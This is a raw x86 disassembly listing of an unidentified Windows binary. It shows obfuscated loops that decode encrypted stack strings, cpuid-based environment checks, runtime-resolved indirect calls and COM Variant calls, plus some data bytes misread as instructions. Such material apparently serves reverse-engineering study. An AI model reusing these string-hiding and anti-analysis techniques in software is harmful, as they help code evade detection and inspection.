movzx ecx, byte [eax]
inc eax
test cl, cl
jne 0x42fa50
mov byte [edi], 0
push dword [esi + 0x9c]
call dword [0x44f4f0]
jmp case.0x4302bf.0
mov eax, 0xb
xor ecx, ecx
cpuid
jmp dword [0x44d044]
mov dword [esi + 0x6c], 0
mov eax, dword [esi + 0x6c]
cmp eax, 7
ja case.0x42bc23.48
nop
nop
nop
mov eax, dword [esi + 0x6c]
mov ecx, dword [esi + 0x6c]
movzx ecx, byte [esi + ecx + 0x52c]
mov edx, eax
not edx
or edx, 0x3dc58ac0
add edx, eax
xor eax, 0xbdc58ac0
lea edi, [eax + edx*2]
lea eax, [eax + edx*2]
add eax, 2
lea edx, [ecx + edi]
add edx, 2
and eax, ecx
mov ecx, edx
not ecx
and ecx, eax
add ecx, eax
not eax
and eax, edx
sub eax, ecx
mov dword [esi + 0x34], eax
mov eax, dword [esi + 0x34]
mov ecx, eax
xor ecx, 0xc0
and eax, 0x3f
add eax, eax
sub eax, ecx
mov ecx, dword [esi + 0x6c]
mov byte [esi + ecx + 0x52c], al
inc dword [esi + 0x6c]
mov eax, dword [esi + 0x6c]
cmp eax, 8
jb 0x42fa90
mov dword [esi + 0x6c], 0
mov eax, dword [esi + 0x6c]
cmp eax, 7
ja 0x42fb78
nop
nop
nop
nop
nop
nop
nop
nop
nop
mov eax, dword [esi + 0x6c]
mov ecx, dword [esi + 0x6c]
movzx ecx, byte [esi + ecx + 0x52c]
mov edx, eax
not edx
or edx, 0x3dc58ac0
add edx, eax
xor eax, 0xbdc58ac0
lea edi, [eax + edx*2]
lea eax, [eax + edx*2]
add eax, 2
lea edx, [ecx + edi]
add edx, 2
and eax, ecx
mov ecx, edx
not ecx
and ecx, eax
add ecx, eax
not eax
and eax, edx
sub eax, ecx
mov dword [esi + 0x34], eax
mov eax, dword [esi + 0x34]
mov ecx, eax
xor ecx, 0xc0
and eax, 0x3f
add eax, eax
sub eax, ecx
mov ecx, dword [esi + 0x6c]
mov byte [esi + ecx + 0x52c], al
inc dword [esi + 0x6c]
mov eax, dword [esi + 0x6c]
cmp eax, 8
jb 0x42fb10
lea eax, [esi + 0x52c]
jmp dword [0x44cf84]
mov ebx, dword [esi + 8]
inc ebx
movzx ecx, byte [eax]
test cl, cl
je 0x42fb9b
inc eax
mov byte [ebx], cl
inc ebx
movzx ecx, byte [eax]
inc eax
test cl, cl
jne 0x42fb90
mov byte [ebx], 0
mov dword [esi + 0x52c], 0x8fe2ecca
mov dword [esi + 0x530], 0xaba7a6ab
mov dword [esi + 0x534], 0x5fab8de8
mov dword [esi + 0x538], 0xcfee97a9
mov byte [esi + 0x53c], 0
mov dword [esi + 0x6c], 0
mov eax, dword [esi + 0x6c]
cmp eax, 0x10
ja 0x42fc24
nop
nop
nop
nop
mov eax, dword [esi + 0x6c]
mov ecx, dword [esi + 0x6c]
movzx ecx, byte [esi + ecx + 0x52c]
mov edx, eax
xor edx, 0x6ed584d0
and eax, 0xeed584d0
lea eax, [edx + eax*2]
lea edx, [eax + ecx]
and eax, ecx
add eax, eax
sub edx, eax
mov dword [esi + 0x34], edx
mov eax, dword [esi + 0x34]
add al, 0xf0
mov ecx, dword [esi + 0x6c]
mov byte [esi + ecx + 0x52c], al
inc dword [esi + 0x6c]
mov eax, dword [esi + 0x6c]
cmp eax, 0x11
jb 0x42fbe0
movzx eax, byte [esi + 0x52c]
test al, al
je 0x42fc4b
lea ecx, [esi + 0x52d]
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
mov byte [ebx], al
inc ebx
movzx eax, byte [ecx]
inc ecx
test al, al
jne 0x42fc40
mov byte [ebx], 0
movzx eax, byte [esi + 0x1d8]
test al, al
je 0x42fc6b
lea ecx, [esi + 0x1d9]
nop
mov byte [ebx], al
inc ebx
movzx eax, byte [ecx]
inc ecx
test al, al
jne 0x42fc60
mov byte [ebx], 0
mov dword [esi + 0x52c], 0x6f12043a
mov dword [esi + 0x530], 0x1f534855
mov dword [esi + 0x534], 0x564c4e62
mov dword [esi + 0x538], 0x1b1b657e
mov word [esi + 0x53c], 0x4103
mov dword [esi + 0x53e], 0
mov dword [esi + 0x6c], 0
mov eax, dword [esi + 0x6c]
cmp eax, 0x15
ja 0x42fcfd
nop
nop
nop
nop
nop
nop
nop
nop
mov eax, dword [esi + 0x6c]
mov ecx, dword [esi + 0x6c]
movzx ecx, byte [esi + ecx + 0x52c]
mov edx, eax
xor edx, 0x47230eb4
and eax, 0xc7230eb4
lea eax, [edx + eax*2]
xor eax, ecx
mov dword [esi + 0x34], eax
mov eax, dword [esi + 0x34]
add al, 0x7c
mov ecx, dword [esi + 0x6c]
mov byte [esi + ecx + 0x52c], al
inc dword [esi + 0x6c]
mov eax, dword [esi + 0x6c]
cmp eax, 0x16
jb 0x42fcc0
movzx eax, byte [esi + 0x52c]
test al, al
je 0x42fd1b
lea ecx, [esi + 0x52d]
nop
nop
mov byte [ebx], al
inc ebx
movzx eax, byte [ecx]
inc ecx
test al, al
jne 0x42fd10
mov byte [ebx], 0
movzx eax, word [esi + 0x1ec]
xor ecx, ecx
test ax, ax
setns cl
jmp dword [ecx*4 + 0x44cf9c]
jmp 0x42fd41
mov byte [ebx], 0x2b
inc ebx
movzx eax, word [esi + 0x1ec]
lea ecx, [esi + 0x34]
cwde
push 0xa
push 7
push ecx
push eax
call fcn.00432d30
add esp, 0x10
movzx ecx, byte [eax]
test cl, cl
je 0x42fd6b
inc eax
nop
nop
nop
nop
nop
mov byte [ebx], cl
inc ebx
movzx ecx, byte [eax]
inc eax
test cl, cl
jne 0x42fd60
mov byte [ebx], 0
mov dword [esi + 0x52c], 0x3ac6d0fe
mov dword [esi + 0x530], 0x1e6e6e16
mov dword [esi + 0x534], 0x25de0b08
mov dword [esi + 0x538], 0x3f05771b
mov word [esi + 0x53c], 0xf7d4
mov dword [esi + 0x53e], 0
mov dword [esi + 0x14], 0
mov eax, dword [esi + 0x14]
cmp eax, 0x15
ja 0x42fdfd
nop
nop
nop
nop
nop
nop
nop
nop
mov eax, dword [esi + 0x14]
mov ecx, dword [esi + 0x14]
movzx ecx, byte [esi + ecx + 0x52c]
mov edx, eax
xor edx, 0x2294ab29
and eax, 0x2294ab29
lea eax, [edx + eax*2]
xor eax, ecx
mov dword [esi + 0x6c], eax
mov eax, dword [esi + 0x6c]
add al, 0x33
mov ecx, dword [esi + 0x14]
mov byte [esi + ecx + 0x52c], al
inc dword [esi + 0x14]
mov eax, dword [esi + 0x14]
cmp eax, 0x16
jb 0x42fdc0
movzx eax, byte [esi + 0x52c]
test al, al
je 0x42fe1b
lea ecx, [esi + 0x52d]
nop
nop
mov byte [ebx], al
inc ebx
movzx eax, byte [ecx]
inc ecx
test al, al
jne 0x42fe10
mov byte [ebx], 0
movzx eax, byte [esi + 0x1ee]
test al, al
je 0x42fe3b
lea ecx, [esi + 0x1ef]
nop
mov byte [ebx], al
inc ebx
movzx eax, byte [ecx]
inc ecx
test al, al
jne 0x42fe30
mov byte [ebx], 0
jmp 0x42e6e1
sar ecx, 8
mov eax, ecx
not eax
or eax, 0xff
add eax, ecx
xor ecx, ecx
cmp eax, 1
sete cl
jmp dword [ecx*4 + 0x44d04c]
xor eax, eax
mov ecx, dword [esi + 8]
and ecx, 0xffff
sete al
jmp dword [eax*4 + 0x44d05c]
movzx eax, bx
xor edx, edx
div ecx
mov dword [esi + 8], eax
mov eax, dword [case.0x42bc23.106]
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
jmp eax
jmp 0x42feee
mov dword [esi + 0xc], ebx
xor eax, eax
xor ecx, ecx
cpuid
cmp eax, 4
jl 0x42feb0
mov eax, 4
xor ecx, ecx
cpuid
jmp 0x42f7d0
mov eax, SysReAllocString
xor ecx, ecx
cpuid
mov dword [esi + 8], eax
mov eax, 1
xor ecx, ecx
cpuid
test edx, 0x10000000
je 0x42fee4
cmp dword [esi + 8], reloc.OLEAUT32.dll_VariantClear
jl 0x42fee4
mov eax, reloc.OLEAUT32.dll_VariantClear
xor ecx, ecx
cpuid
jmp 0x42f7d5
mov dword [esi + 8], 1
mov ebx, dword [esi + 0xc]
lea ecx, [esi + 0xd4]
movzx eax, bx
push 0xa
push 4
push ecx
push eax
call fcn.00434780
add esp, 0x10
mov dword [esi + 0x1c4], 0x58beb496
mov dword [esi + 0x1c8], 0x7782484c
mov dword [esi + 0x1cc], 0x46435748
mov dword [esi + 0x1d0], 0x8b945240
mov byte [esi + 0x1d4], 0xa8
mov dword [esi + 0x1d5], 0
mov byte [esi + 0x1d9], 0
mov dword [esi + 0x14], 0
mov ecx, dword [esi + 0x14]
cmp ecx, 0x15
ja 0x42ffb1
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
mov ecx, dword [esi + 0x14]
mov edx, dword [esi + 0x14]
movzx ebx, byte [esi + edx + 0x1c4]
lea edx, [ecx + ebx]
add edx, 0x393e725a
add ecx, 0x393e725a
and ecx, ebx
mov ebx, edx
xor ebx, ecx
add ebx, ecx
not ecx
and ecx, edx
add ecx, ecx
sub ecx, ebx
mov dword [esi + 0xd8], ecx
mov ecx, dword [esi + 0xd8]
add cl, 0x3e
mov edx, dword [esi + 0x14]
mov byte [esi + edx + 0x1c4], cl
inc dword [esi + 0x14]
mov ecx, dword [esi + 0x14]
cmp ecx, 0x16
jb 0x42ff60
movzx ecx, byte [esi + 0x1c4]
test cl, cl
je 0x42ffdb
lea edx, [esi + 0x1c5]
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
mov byte [edi], cl
inc edi
movzx ecx, byte [edx]
inc edx
test cl, cl
jne 0x42ffd0
mov byte [edi], 0
movzx ecx, byte [eax]
test cl, cl
je 0x42fffb
inc eax
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
mov byte [edi], cl
inc edi
movzx ecx, byte [eax]
inc eax
test cl, cl
jne 0x42fff0
mov byte [edi], 0
movzx eax, byte [esi + 8]
push 0xa
push 4
lea ecx, [esi + 0xd4]
push ecx
push eax
call fcn.0040e2f0
add esp, 0x10
mov dword [esi + 8], eax
mov dword [esi + 0x1c4], 0x18363c5e
mov dword [esi + 0x1c8], 0x1c320804
mov dword [esi + 0x1cc], 0xe0f3efe3
mov dword [esi + 0x1d0], 0x5a3d1a
mov dword [esi + 0x14], 0
mov ecx, dword [esi + 0x14]
cmp ecx, 0xf
ja 0x43009d
mov edx, dword [esi + 0x14]
mov ecx, dword [esi + 0x14]
movzx ecx, byte [esi + ecx + 0x1c4]
lea ebx, [edx + edx]
and ebx, 0x628441dc
sub edx, ebx
add edx, 0xb14220ee
mov eax, edx
and eax, ebx
xor edx, ebx
lea eax, [edx + eax*2]
xor eax, ecx
mov dword [esi + 0xd8], eax
mov eax, dword [esi + 0xd8]
add al, 0x5a
mov ecx, dword [esi + 0x14]
mov byte [esi + ecx + 0x1c4], al
inc dword [esi + 0x14]
mov eax, dword [esi + 0x14]
cmp eax, 0x10
jb 0x430050
movzx ecx, byte [esi + 0x1c4]
test cl, cl
je 0x4300cd
lea edx, [esi + 0x1c5]
mov eax, dword [esi + 8]
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
mov byte [edi], cl
inc edi
movzx ecx, byte [edx]
inc edx
test cl, cl
jne 0x4300c0
jmp 0x4300d0
mov eax, dword [esi + 8]
mov byte [edi], 0
movzx ecx, byte [eax]
test cl, cl
je 0x4300eb
inc eax
nop
nop
nop
nop
nop
mov byte [edi], cl
inc edi
movzx ecx, byte [eax]
inc eax
test cl, cl
jne 0x4300e0
mov byte [edi], 0
mov dword [esi + 0x1c4], 0xf4ded436
mov dword [esi + 0x1c8], 0xc3fc888c
mov byte [esi + 0x1cc], 0x20
mov dword [esi + 0x1cd], 0
mov byte [esi + 0x1d1], 0
mov dword [esi + 0x14], 0
mov eax, dword [esi + 0x14]
cmp eax, 0xd
ja 0x430193
nop
nop
nop
nop
nop
nop
nop
mov ecx, dword [esi + 0x14]
mov eax, dword [esi + 0x14]
movzx eax, byte [esi + eax + 0x1c4]
mov edx, ecx
xor edx, 0xa4625f4a
add ecx, ecx
and ecx, 0x48c4be94
mov ebx, ecx
and ebx, edx
xor ecx, edx
lea ecx, [ecx + ebx*2]
mov edx, eax
not edx
or edx, ecx
add edx, eax
inc edx
add ecx, eax
sub ecx, edx
mov eax, ecx
xor eax, edx
not edx
and edx, ecx
add edx, edx
sub edx, eax
mov dword [esi + 0xd8], edx
mov eax, dword [esi + 0xd8]
add al, 0x8e
mov ecx, dword [esi + 0x14]
mov byte [esi + ecx + 0x1c4], al
inc dword [esi + 0x14]
mov eax, dword [esi + 0x14]
cmp eax, 0xe
jb 0x430130
movzx eax, byte [esi + 0x1c4]
test al, al
je 0x4301bb
lea ecx, [esi + 0x1c5]
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
mov byte [edi], al
inc edi
movzx eax, byte [ecx]
inc ecx
test al, al
jne 0x4301b0
mov byte [edi], 0
mov eax, dword [0x44f3ec]
mov dword [esi + 8], eax
mov dword [esi + 0x1c4], 0x813b873b
mov dword [esi + 0x1c8], 0x8d30832f
mov dword [esi + 0x1cc], 0x89fc8ff1
mov dword [esi + 0x1d0], 0x95268bfe
mov dword [esi + 0x1d4], 0x91229720
mov dword [esi + 0x1d8], 0x9390
mov dword [esi + 0x14], 0
mov ecx, dword [esi + 0x14]
cmp ecx, 0x17
ja 0x430285
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
mov eax, dword [esi + 0x14]
mov ecx, dword [esi + 0x14]
movzx ecx, byte [esi + ecx + 0x1c4]
lea ebx, [eax + eax]
and ebx, 0x711f4f42
mov edx, eax
not edx
or edx, 0x388fa7a1
add edx, eax
sub eax, ebx
lea ebx, [eax + edx*2]
lea eax, [eax + edx*2]
add eax, 0xb88fa7a3
lea edx, [ecx + ebx]
add edx, 0xb88fa7a3
not ecx
or eax, ecx
sub ecx, eax
lea eax, [edx + ecx*2]
mov dword [esi + 0xd8], eax
mov eax, dword [esi + 0xd8]
add al, 0xdb
mov ecx, dword [esi + 0x14]
mov byte [esi + ecx + 0x1c4], al
inc dword [esi + 0x14]
mov eax, dword [esi + 0x14]
cmp eax, 0x18
jb 0x430220
lea ebx, [esi + 0x1c4]
push 0x800
push 0
push ebx
call dword [esi + 8]
mov dword [esi + 0xb8], 0
mov dword [esi + 0xbc], 0
lea ecx, [esi + 0xb8]
mov dword [esi + 0x9c], eax
push eax
call fcn.0043fae0
movzx eax, al
jmp dword [eax*4 + 0x44d074]
mov eax, 0xb
mov ecx, 1
cpuid
and ecx, 0xff00
xor eax, eax
cmp ecx, 0x100
sete al
jmp dword [eax*4 + 0x44d034]
mov eax, 0xb
xor ecx, ecx
cpuid
mov dword [esi + 8], ebx
mov eax, 0xb
xor ecx, ecx
cpuid
jmp dword [0x44d044]
mov dword [esi + 8], ebx
jmp dword [0x44d03c]
cmp dword [edi + edx*8], 0xcecd21fd
je 0x430330
inc edx
cmp eax, edx
jne 0x430320
jmp case.0x42eaa3.23
mov eax, dword [edi + edx*8 + 4]
cmp eax, ecx
je case.0x42eaa3.23
lea ecx, [esi + 0x1c4]
push 0
push 0x2c
push ecx
push 0
push 4
push dword [0x45070c]
push eax
call fcn.00441120
add esp, 0x1c
mov dword [esi + 0x1c4], 0x546a789a
mov dword [esi + 0x1c8], 0x57662c58
mov dword [esi + 0x1cc], 0x4739303b
mov word [esi + 0x1d0], 0x9f60
mov dword [esi + 0x1d2], 0
mov dword [esi + 0x14], 0
mov eax, dword [esi + 0x14]
cmp eax, 0x11
ja 0x430403
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
mov ecx, dword [esi + 0x14]
mov eax, dword [esi + 0x14]
movzx eax, byte [esi + eax + 0x1c4]
mov edx, ecx
or edx, 0x3209721c
mov edi, ecx
not edi
or edi, 0xcdf68de3
and edi, edx
and ecx, 0xcdf68de3
not edi
lea ecx, [edi + ecx*2]
lea edx, [ecx + eax]
and ecx, eax
mov eax, edx
xor eax, ecx
add eax, ecx
not ecx
and ecx, edx
add ecx, ecx
sub ecx, eax
mov dword [esi + 0xd8], ecx
mov eax, dword [esi + 0xd8]
add al, 0x91
mov ecx, dword [esi + 0x14]
mov byte [esi + ecx + 0x1c4], al
inc dword [esi + 0x14]
mov eax, dword [esi + 0x14]
cmp eax, 0x12
jb 0x4303a0
movzx eax, byte [esi + 0x1c4]
mov edi, dword [esi + 8]
test al, al
je 0x43042b
lea ecx, [esi + 0x1c5]
mov edi, dword [esi + 8]
nop
nop
nop
nop
nop
nop
mov byte [edi], al
inc edi
movzx eax, byte [ecx]
inc ecx
test al, al
jne 0x430420
mov byte [edi], 0
movzx eax, byte [ebx]
test al, al
je 0x43044c
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
mov byte [edi], al
inc edi
movzx eax, byte [ebx + 1]
inc ebx
test al, al
jne 0x430440
mov byte [edi], 0
mov dword [esi + 0xd8], 0x80b0a0d
mov dword [esi + 0xdc], 0
mov dword [esi + 0xa4], 0
mov eax, dword [esi + 0xa4]
cmp eax, 7
ja 0x4304e2
nop
nop
nop
nop
nop
nop
nop
nop
mov ecx, dword [esi + 0xa4]
mov eax, dword [esi + 0xa4]
movzx eax, byte [esi + eax + 0xd8]
mov edx, ecx
xor edx, 0x9f6bee83
add ecx, ecx
and ecx, 0x3ed7dd06
mov ebx, ecx
and ebx, edx
xor ecx, edx
lea ecx, [ecx + ebx*2]
xor ecx, eax
mov dword [esi + 0x14], ecx
mov eax, dword [esi + 0x14]
mov ecx, eax
not ecx
and ecx, 0x8f
and eax, 0x70
sub eax, ecx
mov ecx, dword [esi + 0xa4]
mov byte [esi + ecx + 0xd8], al
inc dword [esi + 0xa4]
mov eax, dword [esi + 0xa4]
cmp eax, 8
jb 0x430480
mov eax, dword [esi + 0xd8]
mov ecx, dword [0x450704]
test ecx, ecx
je 0x43051c
xor edx, edx
mov ebx, dword [0x450708]
nop
nop
nop
nop
nop
nop
cmp dword [ebx + edx*8], 0xcecd21fd
je 0x430510
inc edx
cmp ecx, edx
jne 0x430500
jmp 0x43051c
mov ecx, dword [ebx + edx*8 + 4]
cmp ecx, eax
jne 0x4306d2
mov ebx, dword [esi + 0xc]
jmp dword [0x44d020]
mov dword [esi + 0x1c4], 0x546a789a
mov dword [esi + 0x1c8], 0x57662c58
mov dword [esi + 0x1cc], 0x4739303b
mov word [esi + 0x1d0], 0x9f60
mov dword [esi + 0x1d2], 0
mov dword [esi + 0x14], 0
mov eax, dword [esi + 0x14]
cmp eax, 0x11
ja 0x4305d3
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
mov ecx, dword [esi + 0x14]
mov eax, dword [esi + 0x14]
movzx eax, byte [esi + eax + 0x1c4]
mov edx, ecx
or edx, 0x3209721c
mov edi, ecx
not edi
or edi, 0xcdf68de3
and edi, edx
and ecx, 0xcdf68de3
not edi
lea ecx, [edi + ecx*2]
lea edx, [ecx + eax]
and ecx, eax
mov eax, edx
xor eax, ecx
add eax, ecx
not ecx
and ecx, edx
add ecx, ecx
sub ecx, eax
mov dword [esi + 0xd8], ecx
mov eax, dword [esi + 0xd8]
add al, 0x91
mov ecx, dword [esi + 0x14]
mov byte [esi + ecx + 0x1c4], al
inc dword [esi + 0x14]
mov eax, dword [esi + 0x14]
cmp eax, 0x12
jb 0x430570
movzx ecx, byte [esi + 0x1c4]
mov edi, dword [esi + 8]
mov eax, edi
test cl, cl
je 0x4305fb
lea edx, [esi + 0x1c5]
mov eax, edi
nop
nop
nop
nop
nop
mov byte [eax], cl
inc eax
movzx ecx, byte [edx]
inc edx
test cl, cl
jne 0x4305f0
mov byte [eax], 0
movzx ecx, byte [ebx]
test cl, cl
je 0x43061c
mov edx, ebx
nop
nop
nop
nop
nop
nop
nop
nop
nop
mov byte [eax], cl
inc eax
movzx ecx, byte [edx + 1]
inc edx
test cl, cl
jne 0x430610
mov byte [eax], 0
mov dword [esi + 0xd8], 0x80b0a0d
mov dword [esi + 0xdc], 0
mov dword [esi + 0xa4], 0
mov eax, dword [esi + 0xa4]
cmp eax, 7
ja 0x4306b2
nop
nop
nop
nop
nop
nop
nop
nop
mov ecx, dword [esi + 0xa4]
mov eax, dword [esi + 0xa4]
movzx eax, byte [esi + eax + 0xd8]
mov edx, ecx
xor edx, 0x9f6bee83
add ecx, ecx
and ecx, 0x3ed7dd06
mov edi, ecx
and edi, edx
xor ecx, edx
lea ecx, [ecx + edi*2]
xor ecx, eax
mov dword [esi + 0x14], ecx
mov eax, dword [esi + 0x14]
mov ecx, eax
not ecx
and ecx, 0x8f
and eax, 0x70
sub eax, ecx
mov ecx, dword [esi + 0xa4]
mov byte [esi + ecx + 0xd8], al
inc dword [esi + 0xa4]
mov eax, dword [esi + 0xa4]
cmp eax, 8
jb 0x430650
mov eax, dword [0x450704]
test eax, eax
je case.0x42eaa3.23
mov ecx, dword [esi + 0xd8]
xor edx, edx
mov edi, dword [0x450708]
jmp 0x430320
lea eax, [esi + 0x1c4]
push 0
push 0x2c
push eax
push 0
push 4
push dword [0x45070c]
push ecx
call fcn.00441120
add esp, 0x1c
mov ebx, dword [esi + 0xc]
jmp dword [0x44d020]
not eax
shr eax, 0x1f
jmp dword [eax*4 + 0x44d024]
mov eax, 0xb
xor ecx, ecx
cpuid
and ecx, 0xff00
xor eax, eax
cmp ecx, 0x100
movzx ecx, byte [esi + 0x1ec]
mov dword [esi + 0xc], ecx
sete al
jmp dword [eax*4 + 0x44d02c]
push ebx
push edi
push esi
mov ecx, dword [esp + 0x10]
movzx esi, word [ecx]
test si, si
je 0x430788
mov edx, dword [esp + 0x14]
xor eax, eax
jmp 0x43075e
add eax, edi
movzx esi, word [ecx + 2]
add ecx, 2
test si, si
je 0x43078a
test edx, edx
je 0x430766
cmp ecx, edx
jae 0x43078a
movzx ebx, si
cmp ebx, 0x800
mov esi, 3
sbb esi, 0
mov edi, 1
cmp ebx, 0x80
jb 0x430750
mov edi, esi
jmp 0x430750
xor eax, eax
pop esi
pop edi
pop ebx
ret
mov dword [esp], edi
call fcn.0040c9a0
mov eax, dword [esp + 0x310]
mov ecx, dword [esp + 0x314]
mov eax, dword [ecx + eax*4]
jmp eax
mov eax, dword [esp + 0x2f8]
mov ecx, dword [esp + 0x2fc]
mov eax, dword [ecx + eax*4]
mov edi, dword [esp + 0xdc]
jmp eax
call fcn.0040e4a0
mov dword [esp + 0x3f8], 1
mov eax, dword [esp + 0x3fc]
mov ecx, dword [esp + 0x3f8]
mov eax, dword [eax + ecx*4]
jmp eax
call fcn.0040e4a0
mov eax, dword [esp + 0x184]
mov dword [esp + 0x3f0], 1
mov ecx, dword [esp + 0x3f4]
mov edx, dword [esp + 0x3f0]
mov ecx, dword [ecx + edx*4]
jmp ecx
lea eax, [esp + 0x1c0]
mov dword [esp], eax
call dword [sym.imp.OLEAUT32.dll_VariantCopy]
sub esp, 4
lea eax, [esp + 0x450]
mov dword [esp], eax
call dword [sym.imp.OLEAUT32.dll_VariantClear]
sub esp, 4
mov esi, dword [esp + 0x24]
mov al, byte [esp + 0xe0]
mov byte [esp + 0x1b0], al
mov byte [esp + 0xe4], 0xb3
mov byte [esp + 0xe5], 0xf1
mov byte [esp + 0xe6], 0x4f
mov byte [esp + 0xe7], 0xf3
mov byte [esp + 0xe8], 0x4e
mov byte [esp + 0xe9], 0xfd
mov byte [esp + 0xea], 0x4c
mov byte [esp + 0xeb], 0xff
mov byte [esp + 0xec], 0x55
mov byte [esp + 0xed], 0xf9
mov byte [esp + 0xee], 0x4c
mov byte [esp + 0xef], 0xfb
mov byte [esp + 0xf0], pe_nt_image_headers32
mov byte [esp + 0xf1], 0xc5
mov byte [esp + 0xf2], 0x9a
mov byte [esp + 0xf3], 0xc7
mov byte [esp + 0xf4], 0x69
mov byte [esp + 0xf5], 0xc1
mov byte [esp + 0xf6], 0x77
mov byte [esp + 0xf7], 0xc3
mov byte [esp + 0xf8], 0x61
mov byte [esp + 0xf9], 0xcd
mov byte [esp + 0xfa], 0x94
mov byte [esp + 0xfb], 0xcf
mov byte [esp + 0xfc], 0x7f
mov byte [esp + 0xfd], 0xc9
mov byte [esp + 0xfe], 0x7c
mov byte [esp + 0xff], 0xcb
mov byte [esp + 0x100], 0x79
mov byte [esp + 0x101], 0xd5
mov byte [esp + 0x102], 0xd6
mov byte [esp + 0x103], 0xd7
mov eax, 0x20
mov byte [esp + eax + 0xe4], 0
add eax, 1
cmp eax, 0x22
jne 0x430e99
mov dword [esp + 0xc0], 0
mov eax, dword [esp + 0xc0]
cmp eax, 0x22
jae 0x430f01
mov eax, dword [esp + 0xc0]
mov ecx, dword [esp + 0xc0]
movzx ecx, byte [esp + ecx + 0xe4]
mov dword [esp + 4], eax
mov dword [esp], ecx
call fcn.00437e60
mov ecx, dword [esp + 0xc0]
mov byte [esp + ecx + 0xe4], al
mov eax, dword [esp + 0xc0]
inc eax
mov dword [esp + 0xc0], eax
jmp 0x430eb4
mov eax, dword [esi]
mov eax, dword [eax + 0x10]
lea ecx, [esp + 0x450]
mov dword [esp + 0xc], ecx
lea ecx, [esp + 0xe4]
mov dword [esp + 4], ecx
mov dword [esp], esi
mov dword [esp + 0x14], 0
mov dword [esp + 0x10], 0
mov dword [esp + 8], 0
call eax
sub esp, 0x18
test eax, eax
setns al
mov cx, word [esp + 0x450]
sub cx, 2
sete cl
and al, cl
movzx eax, al
mov dword [esp + 0x350], eax
mov eax, dword [esp + 0x354]
mov ecx, dword [esp + 0x350]
mov eax, dword [eax + ecx*4]
jmp eax
cmp dword [edi], 0
setne al
and al, 1
movzx eax, al
lea esp, [ebp - 0xc]
pop esi
pop edi
pop ebx
pop ebp
ret
mov ecx, dword [esp + 0x2a0]
mov edx, dword [esp + 0x2a4]
mov ecx, dword [edx + ecx*4]
jmp ecx
mov dword [esp + 0x20c], ebx
call fcn.0040e4a0
mov dword [esp + 0x440], 1
mov eax, dword [esp + 0x444]
mov ecx, dword [esp + 0x440]
mov eax, dword [eax + ecx*4]
jmp eax
movzx eax, al
and eax, 1
mov dword [esp + 0x320], eax
mov eax, dword [esp + 0x324]
mov ecx, dword [esp + 0x320]
mov eax, dword [eax + ecx*4]
jmp eax
call fcn.0040e4a0
mov dword [esp + 0x3a8], 0
mov eax, dword [esp + 0x3ac]
mov ecx, dword [esp + 0x3a8]
mov eax, dword [eax + ecx*4]
jmp eax
call fcn.0040e4a0
mov eax, dword [edi]
mov dword [esp + 0x2a8], 0
mov ecx, dword [esp + 0x2ac]
mov edx, dword [esp + 0x2a8]
mov ecx, dword [ecx + edx*4]
jmp ecx
call fcn.0040e4a0
mov dword [esp + 0x420], 0
mov eax, dword [esp + 0x424]
mov ecx, dword [esp + 0x420]
mov eax, dword [eax + ecx*4]
jmp eax
mov eax, dword [esp + 0x2e0]
mov ecx, dword [esp + 0x2e4]
mov eax, dword [ecx + eax*4]
jmp eax
out 0x45, eax
mov ch, 0xa4
lea eax, [esp + 0x1e0]
mov dword [esp], eax
mov eax, dword [sym.imp.OLEAUT32.dll_VariantCopy]
call eax
sub esp, 4
mov eax, dword [esp + 0x24]
mov ecx, dword [eax]
mov ecx, dword [ecx + 8]
mov dword [esp], eax
call ecx
sub esp, 4
mov eax, dword [esp + 0x228]
mov ecx, dword [esp + 0x22c]
mov eax, dword [ecx + eax*4]
jmp eax
and byte [esi - 0x7b727bc4], 0x24
rol byte [ecx], 0
add byte [ecx + 0x15ff2404], cl
cmp al, 0x8b
inc esp
add byte [ebx - 0x7b72fb14], al
and al, 0xe0
add dword [eax], eax
add byte [ecx + 0x15ff2404], cl
inc eax
mov eax, dword [eax + eax - 0x7d]
in al, dx
add al, 0x8b
je 0x4310ea
and al, 0x8a
inc esp
and al, 0x28
mov byte [esp + 0x1b4], al
mov byte [esp + 0x2c], 1
mov byte [esp + 0x2d], 0xc9
mov byte [esp + 0x2e], 0x64
mov byte [esp + 0x2f], 0xd7
mov byte [esp + 0x30], 0x6b
mov byte [esp + 0x31], 0xd5
mov byte [esp + 0x32], 0x6e
imul eax, esi, 0x44
and al, 0x31
aad 0xc6
inc esp
and al, 0x32
outsb dx, byte [esi]
mov byte [esp + 0x33], 0xd3
mov byte [esp + 0x34], 0x71
mov byte [esp + 0x35], 0xd1
mov byte [esp + 0x36], 0x6a
mov byte [esp + 0x37], 0xdf
mov byte [esp + 0x38], 0x68
mov byte [esp + 0x39], 0xdd
mov byte [esp + 0x3a], 0x16
mov byte [esp + 0x3b], 0xdb
mov byte [esp + 0x3c], 0x79
mov byte [esp + 0x3d], 0xd9
mov byte [esp + 0x3e], 0x1a
mov byte [esp + 0x3f], 0xa7
mov byte [esp + 0x40], 9
mov byte [esp + 0x41], 0xa5
mov byte [esp + 0x42], 0xa2
mov byte [esp + 0x43], 0xa3
mov eax, 0x18
mov byte [esp + eax + 0x2c], 0
add eax, 1
cmp eax, 0x1c
jne 0x43114f
mov dword [esp + 0xc8], 0
mov eax, dword [esp + 0xc8]
cmp eax, 0x1c
jae 0x4311ae
mov eax, dword [esp + 0xc8]
mov ecx, dword [esp + 0xc8]
movzx ecx, byte [esp + ecx + 0x2c]
mov dword [esp + 4], eax
mov dword [esp], ecx
call fcn.00437ea0
mov ecx, dword [esp + 0xc8]
mov byte [esp + ecx + 0x2c], al
mov eax, dword [esp + 0xc8]
inc eax
mov dword [esp + 0xc8], eax
jmp 0x431167
mov eax, dword [esi]
mov eax, dword [eax + 0x10]
lea ecx, [esp + 0x1e0]
mov dword [esp + 0xc], ecx
lea ecx, [esp + 0x2c]
mov dword [esp + 4], ecx
mov dword [esp], esi
mov dword [esp + 0x14], 0
mov dword [esp + 0x10], 0
